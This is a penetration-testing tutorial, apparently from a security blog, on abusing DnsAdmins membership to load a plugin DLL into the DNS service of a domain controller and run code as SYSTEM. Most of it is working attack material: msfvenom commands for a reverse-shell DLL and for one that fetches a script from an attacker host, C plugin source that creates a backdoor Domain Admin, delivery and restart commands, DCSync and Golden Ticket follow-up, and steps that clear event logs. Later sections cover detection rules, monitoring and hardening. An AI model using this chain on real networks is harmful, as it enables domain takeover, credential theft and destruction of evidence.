Skip to Content
DnsAdmins group privilege escalation techniques

DnsAdmins group exploitation: from DNS to Domain Admin

How a DnsAdmins member loads a plugin DLL into the DNS service on a domain controller and gets SYSTEM, with cleanup, detection and mitigation.

Dec 8, 2025
Updated Nov 22, 2026
29 min read

Introduction

Members of the built-in DnsAdmins group manage the DNS servers in a domain. That includes telling the DNS service to load a plugin DLL from a path they choose. On a domain controller the DNS service runs as NT AUTHORITY\SYSTEM, so a DnsAdmins member who can also get the service restarted runs code as SYSTEM on the DC.

The group does not look privileged, and it is rarely monitored the way Domain Admins and Enterprise Admins are. It gets handed to help desk staff, junior administrators and service accounts. Compromising one of those accounts is enough.

No vulnerability is involved. The DNS service has a plugin interface for custom DLLs, Microsoft treats it as a feature, and every step uses a normal DNS administration call.

Authorized testing only, and mind the outage

Run this only with written authorization that covers the domain controllers. The DNS service has to restart to load the DLL, and a DLL without the plugin exports stops the service from starting at all. A DC without DNS breaks logons and replication, so agree a window with the client and have the cleanup commands ready before you start.

Technical background

The DnsAdmins group

DnsAdmins is a built-in security group created when the first Active Directory-integrated DNS server is installed in the domain. Members have administrative access to the DNS servers. They can:

  • Configure DNS server settings
  • Create and manage DNS zones
  • Configure DNS forwarders and root hints
  • Set the server-level plugin DLL (ServerLevelPluginDll)
  • Start and stop the DNS service, if the service ACL grants it

Group properties:

Distinguished Name: CN=DnsAdmins,CN=Users,DC=domain,DC=local
Group Scope: Domain Local
Group Type: Security
Default Members: None
Created: When first DNS server role is installed

The ServerLevelPluginDll mechanism

The Windows DNS service loads a custom plugin from the path in the ServerLevelPluginDll registry value. The plugin can hook into DNS query resolution. The value lives here:

HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll

How it works:

  1. An administrator sets a DLL path in the ServerLevelPluginDll registry value
  2. The DNS service reads the value when it starts
  3. The DNS service loads the DLL into its own process
  4. The DLL code runs as NT AUTHORITY\SYSTEM
  5. The DNS service calls the DLL's exported functions during query processing

What that means for the attack:

AspectBehaviourConsequence
Execution contextNT AUTHORITY\SYSTEMCode runs with full control of the DC
DLL loadingHappens when the DNS service startsYou need a service restart
Path validationNoneUNC paths work, so the DLL can sit on your SMB share
Function exportsThe plugin exports are expectedA DLL without them still runs DllMain, but the service fails to start
VerificationNo signature checkAny DLL is accepted

DNS plugin interface

A valid DNS plugin DLL exports three functions:

// Required exports for DNS plugin
DWORD WINAPI DnsPluginInitialize(
    PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction,
    PLUGIN_FREE_FUNCTION pDnsFreeFunction
);

DWORD WINAPI DnsPluginCleanup();

DWORD WINAPI DnsPluginQuery(
    PSTR pszQueryName,
    WORD wQueryType,
    PSTR pszRecordOwnerName,
    PDB_RECORD *ppDnsRecordListHead
);

Loading the DLL is enough to run code, because DllMain executes first. The exports matter for the service: implement them and DNS keeps working after your payload has run.

Prerequisites and reconnaissance

Identify DnsAdmins membership

Check whether the current user is a member:

# PowerShell - Check if current user is in DnsAdmins
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$dnsAdminsRole = [Security.Principal.WindowsBuiltInRole]::Administrator

# Get group membership
$groups = $identity.Groups | ForEach-Object {
    $_.Translate([Security.Principal.NTAccount])
}

$groups | Where-Object {$_ -like "*DnsAdmins*"}

# Alternative: Using whoami
whoami /groups | findstr DnsAdmins

# CMD - Direct check
net user %USERNAME% /domain | findstr /i "DnsAdmins"

List every member of the group:

# PowerShell - Get all members
Get-ADGroupMember -Identity "DnsAdmins" | Select-Object Name, SamAccountName, objectClass

# Using PowerView
Get-DomainGroupMember -Identity "DnsAdmins" | Select-Object MemberName, MemberSID

# Using net command (DnsAdmins is a domain local group, so net localgroup)
net localgroup "DnsAdmins" /domain

The same from Linux:

# Using ldapsearch
ldapsearch -x -h dc01.domain.local -D "user@domain.local" -w password \
    -b "CN=DnsAdmins,CN=Users,DC=domain,DC=local" member

# Using rpcclient (DnsAdmins has no fixed RID: list the domain aliases, then query the one that matches)
rpcclient -U "domain/user%password" dc01.domain.local
rpcclient $> enumalsgroups domain
rpcclient $> queryaliasmem domain <rid>

# Using CrackMapExec
crackmapexec ldap dc01.domain.local -u user -p password \
    --query '(memberOf=CN=DnsAdmins,CN=Users,DC=domain,DC=local)' \
    --attribute sAMAccountName

Check the DNS service configuration

Confirm the service is running and which account it runs as:

# Verify DNS service is running
Get-Service DNS

# Check DNS service configuration
Get-WmiObject Win32_Service | Where-Object {$_.Name -eq "DNS"} |
    Select-Object Name, State, StartMode, StartName

# Verify service runs as SYSTEM
Get-Process | Where-Object {$_.ProcessName -eq "dns"} |
    Select-Object ProcessName, Id, StartTime, @{N='User';E={(Get-WmiObject Win32_Process -Filter "ProcessId = $($_.Id)").GetOwner().User}}

Check whether a plugin is already configured. If one is, record the value so you can restore it:

# Check if plugin is already configured
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue

# Remote check (requires admin rights)
Invoke-Command -ComputerName dc01 -ScriptBlock {
    Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue
}

Check service permissions

Read the security descriptor of the DNS service:

# Get service security descriptor
$service = Get-WmiObject Win32_Service -Filter "Name='DNS'"
$service.GetSecurityDescriptor().Descriptor.DACL

# Check user permissions on DNS service
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$sid = $identity.User.Value

# Using sc.exe to show service security
sc.exe sdshow DNS

# Decode SDDL to readable format
$sddl = (sc.exe sdshow DNS)[1]
ConvertFrom-SddlString -Sddl $sddl -Type Service

The rights to look for in the SDDL:

The service security descriptor should show:
- RP (SERVICE_START): Read permissions, Start service
- WP (SERVICE_STOP): Write permissions, Stop service
- DT (SERVICE_PAUSE_CONTINUE): Pause and continue service
- LO (SERVICE_INTERROGATE): Query service status
- RC (READ_CONTROL): Read security descriptor

Exploitation

Phase 1: build the DLL

Option 1 is a DLL from msfvenom. It is quick, but it has no plugin exports, so the DNS service will not come back up until you remove it.

# Generate DLL to add user to Domain Admins
msfvenom -p windows/x64/exec \
    cmd='net group "Domain Admins" backdoor /add /domain' \
    -f dll -o adduser.dll

# Generate reverse shell DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.14.5 LPORT=4444 \
    -f dll -o dns_plugin.dll

# Generate DLL to execute PowerShell payload
msfvenom -p windows/x64/exec \
    cmd='powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.14.5/payload.ps1\")"' \
    -f dll -o dns_plugin.dll

Option 2 is a C DLL that implements the plugin exports, so the service starts normally:

// dns_plugin.c - Proper DNS plugin with malicious payload
#include <windows.h>
#include <stdio.h>

// DNS plugin exports
__declspec(dllexport) DWORD WINAPI DnsPluginInitialize(
    PVOID pDnsAllocateFunction,
    PVOID pDnsFreeFunction)
{
    // Execute payload on initialization
    system("net user backdoor Password123! /add /domain");
    system("net group \"Domain Admins\" backdoor /add /domain");

    return ERROR_SUCCESS;
}

__declspec(dllexport) DWORD WINAPI DnsPluginCleanup()
{
    return ERROR_SUCCESS;
}

__declspec(dllexport) DWORD WINAPI DnsPluginQuery(
    PCHAR pszQueryName,
    WORD wQueryType,
    PCHAR pszRecordOwnerName,
    PVOID *ppDnsRecordListHead)
{
    return ERROR_SUCCESS;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // Also execute on DLL load
        system("net user backdoor Password123! /add /domain");
        system("net group \"Domain Admins\" backdoor /add /domain");
        break;
    }
    return TRUE;
}
# Compile on Linux with MinGW
x86_64-w64-mingw32-gcc dns_plugin.c -shared -o dns_plugin.dll

# Compile on Windows
cl /LD dns_plugin.c /link /EXPORT:DnsPluginInitialize /EXPORT:DnsPluginCleanup /EXPORT:DnsPluginQuery

Option 3 is mimilib.dll from Mimikatz, which already contains a DNS plugin (kdns.c) that you can extend:

# Download and modify mimilib
git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz/mimilib

# Edit kdns.c to add custom payload
# Modify the DnsPluginQuery function:
DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
    FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
    if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
    {
        klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
        fclose(kdns_logfile);

        // Add payload here
        system("cmd.exe /c net user backdoor Password123! /add /domain && net group \"Domain Admins\" backdoor /add /domain");
    }
    return ERROR_SUCCESS;
}

Phase 2: host and deliver the DLL

An SMB share is the usual choice. The DC computer account has to be able to read it:

# On Kali Linux - Set up SMB share
impacket-smbserver -smb2support share $(pwd)

# With authentication
impacket-smbserver -smb2support -username attacker -password Password123! share $(pwd)

# Verify DLL is accessible from target
# On Windows:
dir \\10.10.14.5\share\dns_plugin.dll

A WebDAV server also works:

# Install wsgidav
pip3 install wsgidav

# Start WebDAV server
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root $(pwd)

# Access from Windows
net use * http://10.10.14.5/dns_plugin.dll

Or use a local path, if you can write to the DC:

# Copy DLL to writable location on DC
Copy-Item \\10.10.14.5\share\dns_plugin.dll C:\Windows\Temp\

# Verify permissions
icacls C:\Windows\Temp\dns_plugin.dll

Phase 3: set the plugin path

Set the value with dnscmd:

# Configure ServerLevelPluginDll to load malicious DLL
dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll

# Expected output:
# Registry property serverlevelplugindll successfully reset.
# Command completed successfully.

# Using local path
dnscmd.exe /config /serverlevelplugindll C:\Windows\Temp\dns_plugin.dll

# Verify configuration
dnscmd.exe /info /serverlevelplugindll

# View registry directly
reg query \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

From a remote machine:

# Configure from remote machine (requires DnsAdmins membership)
dnscmd.exe dc01.domain.local /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll

# Using PowerShell remoting
Invoke-Command -ComputerName dc01 -ScriptBlock {
    dnscmd.exe localhost /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll
}

Common errors and what they mean:

Error: "DNS Server failed to reset registry property. Status = 5 (0x00000005)"
Solution: User is not member of DnsAdmins group

Error: "Command failed: ERROR_ACCESS_DENIED"
Solution: Verify DnsAdmins membership and group policy refresh

Error: The path is not valid
Solution: Ensure UNC path is accessible from domain controller

Phase 4: restart the DNS service

Check that your account may stop and start the service. DnsAdmins membership alone does not always grant this:

# Verify user has rights to restart DNS service
$user = [Security.Principal.WindowsIdentity]::GetCurrent().Name
$sid = wmic useraccount where name='%USERNAME%' get sid /format:list

# Check service permissions
sc.exe sdshow DNS | findstr $sid

Restart the service:

# Stop DNS service
sc.exe stop dns

# Verify service stopped
sc.exe query dns

# Start DNS service (triggers DLL load)
sc.exe start dns

# Alternative: Combined command
sc.exe stop dns && timeout /t 3 && sc.exe start dns

Or restart it remotely:

# Using PowerShell remoting
Invoke-Command -ComputerName dc01 -ScriptBlock {
    Restart-Service DNS -Force
}

# Using sc.exe remotely
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

# Using WMI
Get-WmiObject -ComputerName dc01 -Class Win32_Service -Filter "Name='DNS'" |
    Invoke-WmiMethod -Name StopService

Start-Sleep -Seconds 5

Get-WmiObject -ComputerName dc01 -Class Win32_Service -Filter "Name='DNS'" |
    Invoke-WmiMethod -Name StartService

Watch the service come back:

# Watch for service restart
while ($true) {
    $status = (Get-Service -ComputerName dc01 -Name DNS).Status
    Write-Host "[$(Get-Date -Format 'HH:mm:ss')] DNS Service: $status"

    if ($status -eq 'Running') {
        Write-Host "[+] DNS service restarted - payload should have executed"
        break
    }

    Start-Sleep -Seconds 2
}

Phase 5: verify and follow up

Confirm the payload ran:

# Check if user was added (if using adduser payload)
net group "Domain Admins" /domain | findstr backdoor

# Check for reverse shell connection
# On attacker machine:
nc -lvnp 4444

# Test new credentials
runas /user:domain\backdoor cmd.exe

# Verify with CrackMapExec
crackmapexec smb dc01.domain.local -u backdoor -p Password123! --sam

If nothing happened, check the logs and the loaded modules:

# Check DNS service logs
Get-WinEvent -FilterHashtable @{LogName='DNS Server';StartTime=(Get-Date).AddMinutes(-10)} |
    Where-Object {$_.LevelDisplayName -eq 'Error'} |
    Select-Object TimeCreated, Message

# Check System event log for service failures
Get-WinEvent -FilterHashtable @{LogName='System';ID=7000,7001,7023,7024;StartTime=(Get-Date).AddMinutes(-10)} |
    Where-Object {$_.Message -like '*DNS*'}

# Check if DLL was loaded
Get-Process dns | Select-Object -ExpandProperty Modules | Where-Object {$_.FileName -like '*dns_plugin*'}

After code execution

Scenario 1: DCSync after exploitation

With SYSTEM on the DC or a new Domain Admin, grant DCSync rights and dump the domain:

# Add DCSync rights to compromised account
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" `
    -PrincipalIdentity backdoor `
    -Rights DCSync -Verbose

# Perform DCSync
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

# From Linux
impacket-secretsdump domain.local/backdoor:Password123!@dc01.domain.local -just-dc

Scenario 2: Golden Ticket creation

# Extract krbtgt hash via DCSync
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# Create golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:<hash> /id:500

# From Linux
impacket-lookupsid domain.local/backdoor:Password123!@dc01.domain.local

impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.local Administrator

# Use ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass dc01.domain.local

Cleanup and anti-forensics

Remove the plugin

Clear the registry value and restart the service. Until you do, the DLL loads again at every DNS service start:

# Step 1: Verify current configuration
reg query \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

# Step 2: Remove registry value
dnscmd.exe dc01 /config /serverlevelplugindll NULL

# Alternative: Direct registry deletion
reg delete \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f

# Step 3: Restart DNS service to unload DLL
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

# Step 4: Verify removal
dnscmd.exe dc01 /info /serverlevelplugindll
# Should return: ServerLevelPluginDll = (NULL)

Then check that DNS is healthy:

# Test DNS resolution
nslookup dc01.domain.local dc01

# Verify service is running normally
Get-Service -ComputerName dc01 -Name DNS

# Check for errors
Get-WinEvent -ComputerName dc01 -FilterHashtable @{
    LogName='DNS Server'
    StartTime=(Get-Date).AddMinutes(-10)
    Level=1,2,3
} | Select-Object TimeCreated, LevelDisplayName, Message

Removing forensic evidence

# Clear command history
Clear-History

# Remove PowerShell transcript logs
Remove-Item $env:USERPROFILE\Documents\*transcript*.txt -Force

# Clear event logs (requires admin - use sparingly)
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

# Remove DLL from share
Remove-Item \\10.10.14.5\share\dns_plugin.dll -Force

# Clear DNS debug logs
dnscmd.exe dc01 /config /logfilemaxsize 0

# Remove added user account (if applicable)
net user backdoor /delete /domain

Covering tracks

# Check audit logs for evidence
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4688,4689  # Process creation/termination
    StartTime=(Get-Date).AddHours(-1)
} | Where-Object {
    $_.Message -like '*dnscmd*' -or
    $_.Message -like '*dns_plugin*'
}

# Clear specific events (admin required)
$events = Get-WinEvent -FilterHashtable @{LogName='Security'} |
    Where-Object {$_.Message -like '*dnscmd*'}

foreach ($event in $events) {
    # Note: This requires stopping the event log service
    # wevtutil.exe clear-log Security
}

Detection and monitoring

Event log indicators

Event IDLogDescriptionIndicator
770DNS ServerPlugin loadedServerLevelPluginDll loaded
4688SecurityProcess creationdnscmd.exe execution
4656SecurityHandle to object requestedDNS service registry access
4663SecurityAttempt to access objectDNS Parameters registry modification

Hunt for them with PowerShell:

# Monitor for dnscmd.exe execution
Get-WinEvent -FilterHashtable @{
    LogName='Microsoft-Windows-PowerShell/Operational'
    ID=4104  # Script block logging
    StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
    $_.Message -like '*dnscmd*' -and
    $_.Message -like '*serverlevelplugindll*'
}

# Monitor registry modifications
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4657  # Registry value modified
    StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
    $_.Message -like '*ServerLevelPluginDll*'
}

SIEM detection rules

Splunk:

index=windows (EventCode=4688 Image="*dnscmd.exe" CommandLine="*serverlevelplugindll*")
OR (EventCode=4657 ObjectName="*\\DNS\\Parameters*" ObjectValueName="ServerLevelPluginDll")
OR (EventCode=770 source="DNS Server")
| stats count by ComputerName, User, CommandLine, ObjectName
| where count > 0

Sentinel (KQL):

SecurityEvent
| where EventID in (4688, 4657, 770)
| where (
    (EventID == 4688 and Process contains "dnscmd.exe" and CommandLine contains "serverlevelplugindll")
    or (EventID == 4657 and ObjectName contains "DNS\\Parameters" and ObjectValueName == "ServerLevelPluginDll")
    or (EventID == 770)
)
| project TimeGenerated, Computer, Account, Process, CommandLine, ObjectName, ObjectValueName
| order by TimeGenerated desc

Elastic:

{
  "query": {
    "bool": {
      "should": [
        {
          "bool": {
            "must": [
              {"match": {"event.code": "4688"}},
              {"wildcard": {"process.executable": "*dnscmd.exe"}},
              {"wildcard": {"process.command_line": "*serverlevelplugindll*"}}
            ]
          }
        },
        {
          "bool": {
            "must": [
              {"match": {"event.code": "4657"}},
              {"wildcard": {"registry.path": "*DNS\\Parameters*"}},
              {"match": {"registry.value": "ServerLevelPluginDll"}}
            ]
          }
        }
      ],
      "minimum_should_match": 1
    }
  }
}

Monitoring script

This loop runs on the DC and alerts when the plugin value is set or dnscmd.exe is run with the plugin option:

# dns_admin_monitor.ps1
$lastCheck = Get-Date

while ($true) {
    # Check ServerLevelPluginDll registry value
    $pluginDll = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" `
        -Name ServerLevelPluginDll -ErrorAction SilentlyContinue

    if ($pluginDll) {
        $alert = @{
            Timestamp = Get-Date
            Alert = "CRITICAL: ServerLevelPluginDll configured"
            Value = $pluginDll.ServerLevelPluginDll
            Server = $env:COMPUTERNAME
        }

        # Send alert
        $alert | ConvertTo-Json | Out-File -Append C:\SecurityLogs\DnsAdmin_Alerts.log

        # Send email alert
        Send-MailMessage -To "security@domain.local" `
            -From "dns-monitor@domain.local" `
            -Subject "CRITICAL: DNS Plugin Configured" `
            -Body ($alert | ConvertTo-Json) `
            -SmtpServer "mail.domain.local"
    }

    # Check for dnscmd.exe in recent process creations
    $suspiciousProcesses = Get-WinEvent -FilterHashtable @{
        LogName='Security'
        ID=4688
        StartTime=$lastCheck
    } | Where-Object {
        $_.Properties[5].Value -like '*dnscmd.exe*' -and
        $_.Properties[8].Value -like '*serverlevelplugindll*'
    }

    if ($suspiciousProcesses) {
        $alert = @{
            Timestamp = Get-Date
            Alert = "SUSPICIOUS: dnscmd.exe executed with ServerLevelPluginDll"
            Processes = $suspiciousProcesses | ForEach-Object {
                @{
                    Time = $_.TimeCreated
                    User = $_.Properties[1].Value
                    CommandLine = $_.Properties[8].Value
                }
            }
        }

        $alert | ConvertTo-Json | Out-File -Append C:\SecurityLogs\DnsAdmin_Alerts.log
    }

    $lastCheck = Get-Date
    Start-Sleep -Seconds 60
}

Mitigation and defense

Restrict DnsAdmins membership

# Audit current DnsAdmins members
Get-ADGroupMember -Identity "DnsAdmins" |
    Select-Object Name, SamAccountName, distinguishedName |
    Export-Csv -Path "C:\Audits\DnsAdmins_Members_$(Get-Date -Format 'yyyyMMdd').csv"

# Remove unnecessary members
Remove-ADGroupMember -Identity "DnsAdmins" -Members "unnecessaryuser" -Confirm:$false

# Implement JIT access instead of permanent membership
# Use Privileged Access Management (PAM) solutions

Audit the registry key

# Enable auditing on DNS Parameters registry key
$path = "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters"
$acl = Get-Acl $path

# Add audit rule for Everyone modifying ServerLevelPluginDll
$auditRule = New-Object System.Security.AccessControl.RegistryAuditRule(
    "Everyone",
    [System.Security.AccessControl.RegistryRights]::SetValue,
    [System.Security.AccessControl.AuditFlags]::Success
)

$acl.AddAuditRule($auditRule)
Set-Acl -Path $path -AclObject $acl

# Verify audit rule
(Get-Acl $path).Audit | Format-Table -AutoSize

DNS service hardening

# Restrict DNS service permissions
# Remove DnsAdmins from having SERVICE_START/SERVICE_STOP rights

$service = "DNS"
$dnsAdminsSID = (Get-ADGroup "DnsAdmins").SID.Value

# Get current SDDL
$sddl = (sc.exe sdshow $service)[1]

# Remove DnsAdmins permissions from SDDL (manual editing required)
# Or use GUI: sc.exe sdset DNS "<modified_sddl>"

# Alternative: disable remote DNS management over RPC
# 0x0 disables RPC for DNS, 0x4 keeps local procedure call (LPC) only. The default is 0xFFFFFFFF (all protocols).
# Remote dnscmd and the DNS console stop working against this server.
dnscmd.exe /config /rpcprotocol 0x4

Group Policy restrictions

An AppLocker rule can block dnscmd.exe for non-admins. It only stops the stock binary. The plugin path is set over RPC, and other tools can make the same call, so do not rely on this alone.

<!-- GPO to restrict dnscmd.exe execution -->
<!-- Computer Configuration > Policies > Windows Settings > Security Settings > Application Control Policies > AppLocker -->

<FilePathRule Id="..." Name="Block dnscmd.exe for non-admins" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
    <Conditions>
        <FilePathCondition Path="%SYSTEM32%\dnscmd.exe" />
    </Conditions>
</FilePathRule>

<!-- Only allow for Domain Admins -->
<FilePathRule Id="..." Name="Allow dnscmd.exe for Domain Admins" Description="" UserOrGroupSid="S-1-5-21-domain-512" Action="Allow">
    <Conditions>
        <FilePathCondition Path="%SYSTEM32%\dnscmd.exe" />
    </Conditions>
</FilePathRule>

Operating practices

  • Review DnsAdmins membership monthly and treat the group as Tier 0, the same as Domain Admins
  • Give DNS administration through just-in-time access, not permanent membership
  • Alert on event IDs 770, 4688 and 4657 as described under detection
  • Keep a record of any plugin DLL that is supposed to be there, so an unknown path stands out

Alternative approaches

One option is to run DNS on member servers and keep the DNS role off the domain controllers. A DNS server compromise then gives SYSTEM on a member server and not on a DC, the DC has one less service exposed, and DNS can be administered and monitored separately.

The other is to delegate DNS management more narrowly than DnsAdmins does:

# Instead of DnsAdmins, create custom groups with minimal permissions
New-ADGroup -Name "DNS-ZoneManagers" -GroupScope DomainLocal `
    -Description "Can manage DNS zones but not service configuration"

Then give the group rights on the zones it manages and nothing else: in DNS Manager, open the zone's Properties, Security tab, and add the group there. dnscmd /ZoneResetSecondaries is not a delegation tool. Its /SecureList argument is the list of IP addresses allowed to receive zone transfers.

Testing and validation

Simulated attack exercise

To test your detections, run the configuration step with a harmless DLL in a lab or an agreed window:

# Controlled test environment script
# Run with documented authorization

Write-Host "[*] DnsAdmins Exploitation Simulation" -ForegroundColor Yellow
Write-Host "[!] Authorized test only - Document all actions" -ForegroundColor Red

# Step 1: Verify test account in DnsAdmins
$testUser = "testdnsadmin"
$membership = Get-ADGroupMember -Identity "DnsAdmins" |
    Where-Object {$_.SamAccountName -eq $testUser}

if (-not $membership) {
    Write-Host "[-] Test user not in DnsAdmins group" -ForegroundColor Red
    exit
}

# Step 2: Create harmless test DLL
# (Use simple DLL that logs to file instead of malicious payload)
$testDll = "C:\Temp\test_dns_plugin.dll"

# Step 3: Configure plugin (in test environment)
Write-Host "[*] Configuring ServerLevelPluginDll..." -ForegroundColor Cyan
dnscmd.exe localhost /config /serverlevelplugindll $testDll

# Step 4: Check detection mechanisms
Write-Host "[*] Checking if SIEM detected the activity..." -ForegroundColor Cyan
Start-Sleep -Seconds 10

# Query SIEM or local event logs
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4657
    StartTime=(Get-Date).AddMinutes(-2)
} | Where-Object {$_.Message -like '*ServerLevelPluginDll*'}

# Step 5: Cleanup
Write-Host "[*] Cleaning up test configuration..." -ForegroundColor Cyan
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f

Write-Host "[+] Simulation complete - Review logs and alerts" -ForegroundColor Green

References

MITRE ATT&CK techniques

Microsoft documentation

Security research

Tools documentation

Next steps

On this page